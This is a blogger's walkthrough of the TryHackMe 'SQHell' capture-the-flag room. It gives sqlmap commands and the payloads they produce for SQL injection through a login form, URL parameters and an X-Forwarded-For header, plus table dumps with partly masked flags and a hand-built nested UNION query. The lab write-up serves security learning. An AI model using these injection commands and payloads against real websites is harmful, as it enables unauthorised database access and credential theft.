
Hello guys, having fun with TryHackMe again. So, here is the write up and story guideline to pass this SQHell challenge.
Room: https://tryhackme.com/room/sqhell
Level: Medium
Task: Try and find all the flags in the SQL Injections
Lets get started
As usual, start the machine and open the IP in browser

There is login and register page there. Lets see login page first

Tried using simple SQL injection and not working. Let’s use sqlmap then to check more deeper
# sqlmap -u http://10.10.X.X/login --method=POST --data=username=admin&password=admin -p username,password --risk=3 --level=3 --random-agent sqlmap identified the following injection point(s) with a total of 288 HTTP(s) requests:
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: username=-6970' OR 4968=4968-- XSZT&password=admin Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: username=admin';SELECT SLEEP(5)#&password=admin Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 5071 FROM (SELECT(SLEEP(5)))xYzy)-- Ncar&password=admin
---
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12
It’s appear the username field are vulnerable to several sql injection method. Now lets see the list of databases
# sqlmap -u "http://10.10.X.X/login" --method=POST --data="username=admin&password=admin" -p "username,password" --risk=3 --level=3 --random-agent --dbs --threads 10 ...
available databases [2]:
[*] information_schema
[*] sqhell_2
Just dump all the data under database sqhell_2
sqlmap -u "http://10.10.X.X/login" --method=POST --data="username=admin&password=admin" -p "username,password" --risk=3 --level=3 --random-agent -D sqhell_2 --dump-all --threads 10 ...
...
Database: sqhell_2
Table: users
[1 entry]
+----+----------+---------------------------------+
| id | username | password |
+----+----------+---------------------------------+
| 1 | admin | icantrememberthisXXXXXXXXXXXXXX |
+----+----------+---------------------------------+
...
...
Here we go, login using the exposed credentials

Found the first flag!. Let’s hunt the next flag. Lets check register page then. There is an Ajax request underlying when checking the username availability. Let’s check it first
# sqlmap -u "http://10.10.X.X/register/user-check?username=admin2" -p "username" --risk=3 --level=3 --dbs --dbms=mysql --threads 10 available databases [2]:
[*] information_schema
[*] sqhell_3
Oh! there is another table exist. Dump the database
# sqlmap -u "http://10.10.X.X/register/user-check?username=admin" -p "username" --risk=3 --level=3 -D sqhell_3 --dump-all --dbms=mysql --threads 10 Database: sqhell_3
Table: flag
[1 entry]
+----+---------------------------------------------+
| id | flag |
+----+---------------------------------------------+
| 1 | THM{FLAG3:97AEB3B28A486441XXXXXXXXXXXXXXXX} |
+----+---------------------------------------------+ Database: sqhell_3
Table: users
[1 entry]
+----+----------+---------------------------------+
| id | username | password |
+----+----------+---------------------------------+
| 1 | admin | icantrememberthispassXXXXXXXXXX |
+----+----------+---------------------------------+
Found the flag. It’s actually flag number 3. But its okay. Let’s find others.

http://10.10.X.X/post?id=2
I forgot to click the “read more” link. Its appear there is another query parameter available to brute. Let’s try
# sqlmap -u "http://10.10.X.X/post?id=2" -p "id" --risk=3 --level=3 --dbs --dbms=mysql --threads 10 sqlmap identified the following injection point(s) with a total of 52 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2 AND 3791=3791 Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=2 AND GTID_SUBSET(CONCAT(0x71706a7071,(SELECT (ELT(9206=9206,1))),0x716b7a6b71),9206) Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=2;SELECT SLEEP(5)# Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=2 AND (SELECT 3078 FROM (SELECT(SLEEP(5)))ERZk) Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: id=-6926 UNION ALL SELECT NULL,CONCAT(0x71706a7071,0x4c474b6e4f55716e4557424a686c4d755a564f6a4c58625550634774787947517541666b5a4e674b,0x716b7a6b71),NULL,NULL-- -
---
....
.... available databases [2]:
[*] information_schema
[*] sqhell_5
Ok now there is another new databases available
# sqlmap -u "http://10.10.X.X/post?id=2" -p "id" --risk=3 --level=3 -D sqhell_5 --dump-all --dbms=mysql --threads 10 Database: sqhell_5
Table: flag
[1 entry]
+----+---------------------------------------------+
| id | flag |
+----+---------------------------------------------+
| 1 | THM{FLAG5:B9C690D3B914F7038BA1FC6XXXXXXXXX} |
+----+---------------------------------------------+ Database: sqhell_5
Table: posts
[1 entry]
+----+----------+-------------+----------+
| id | user_id | name | content |
+----+----------+-------------+----------+
| 1 | 1 | First Post | XXXXXXXX |
+----+----------+-------------+----------+
| 2 | 1 | Second Post | XXXXXXXX |
+----+----------+-------------+----------+ Database: sqhell_5
Table: users
[1 entry]
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | XXXXXXXX |
+----+----------+----------+
Found the flag and it’s the 5th Flag.. 😅 Where is the 2nd and 4th flag 🤔. Lets see the author at the blog post

http://10.10.135.78/user?id=1
Found another param from user authors. Let’s try it
# sqlmap -u "http://10.10.X.X/user?id=1" -p "id" --risk=3 --level=3 --dbs --dbms=mysql --threads 10 available databases [2]:
[*] information_schema
[*] sqhell_4
Ok now there is another new databases available
Database: sqhell_4 Table: users
[1 entry]
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | password |
+----+----------+----------+
But there is only 1 table exist in this database. 🤔 Lets see the hint

It says “we log your IP address for analytics purposes”. It’s probably the system capture IP address from the requests and save it into database. Based on experience using PHP, X-Fowarded-For header is used to log the user IP Address. Sooo, lets inject into header then,
# sqlmap -u "http://10.10.X.X/user?id=1" --headers="X-forwarded-for:1*" --risk=3 --level=5 --dbms=mysql --threads 10 --dbs --time-sec=1 ---
Parameter: X-forwarded-for #1* ((custom) HEADER)
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: 1';SELECT SLEEP(1)# Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: 1' AND (SELECT 5673 FROM (SELECT(SLEEP(1)))rCnJ)-- INff
--- available databases [2]:
[*] information_schema
[*] sqhell_1
Its time-based blind SQL injection type. Its might take a while because its time-based. By default sqlmap used 2 seconds. Just adjust the command to 1 second to make it faster. Now, dump all the tables inside sqhell_1
# sqlmap -u "http://10.10.X.X/user?id=1" --headers="X-forwarded-for:1*" --risk=3 --level=5 --dbms=mysql --threads 10 -D sqhell_1 --tables --dump-all --time-sec=1 Database: sqhell_1
Table: flag
[1 entry]
+----+---------------------------------------------+
| id | flag |
+----+---------------------------------------------+
| 1 | THM{FLAG2:C678ABFE1C01FCA19E039XXXXXXXXXXX} |
+----+---------------------------------------------+ Database: sqhell_1
Table: hits
[0 entries]
+----+----+---------+
| id | ip | count |
+----+----+---------+
+----+----+---------+
Alright! Found the 2nd flag!.. Now is the 4th!
Referring back to database sqhell_4 again. When check the information schema, there is actually another tables but it doesn’t appear in sqlmap scan
Database: information_schema Table: INNODB_DATAFILES [34 entries]
+-----------------------------------------+------------+
| PATH | SPACE |
+-----------------------------------------+------------+
...
...
| ./sqhell_4/flag.ibd | 42 |
| ./sqhell_4/posts.ibd | 43 |
| ./sqhell_4/users.ibd | 44 |
...
...
+-----------------------------------------+------------+
That’s weird 😵💫 Kinda hard one. It wont came out from sqlmap scan.
How about if we test admin:password to log in to mysql using this user password?
Nope! Failed~~
How about SSH??
ssh admin@10.10.X.X
....
Permission denied (publickey).
....
Ergh!!.. Haha.. This CTF is just focus on SQL injection. Might be another way
If googling the hint, it’s referring to Inception movie.

That’s might be the hint. Something strange is going on here. Discussion on discord, need to find it manually. So.., let’s find the injection type again with more verbose level
# sqlmap -u "http://10.10.X.X/user?id=5000" --risk=3 --level=5 --dbms=mysql --threads=10 --random-agent --dbs -v 3 ....
....
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=5000 AND (SELECT 3646 FROM (SELECT(SLEEP(5)))FYCC)
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=5000 UNION ALL SELECT NULL,CONCAT(0x716b6a7171,0x4872555953536f506570474e616b55584968664f71507872784d756a5a6e487a4646565555654845,0x7178787071),NULL-- -Vector: UNION ALL SELECT NULL,[QUERY],NULL-- -
---
....
....
Using UNION vector sample above, after several hours of try and errors filling up the query to access the flag table which is unaccessible from sqlmap
Final result after cooking the query:
5000 UNION ALL SELECT "5000 UNION SELECT flag,flag,flag,flag from flag-- -",5000,5000 from users-- -

Boom!~~~ Mission complete.
Thanks for reading and let’s meet with another writeup. 🤘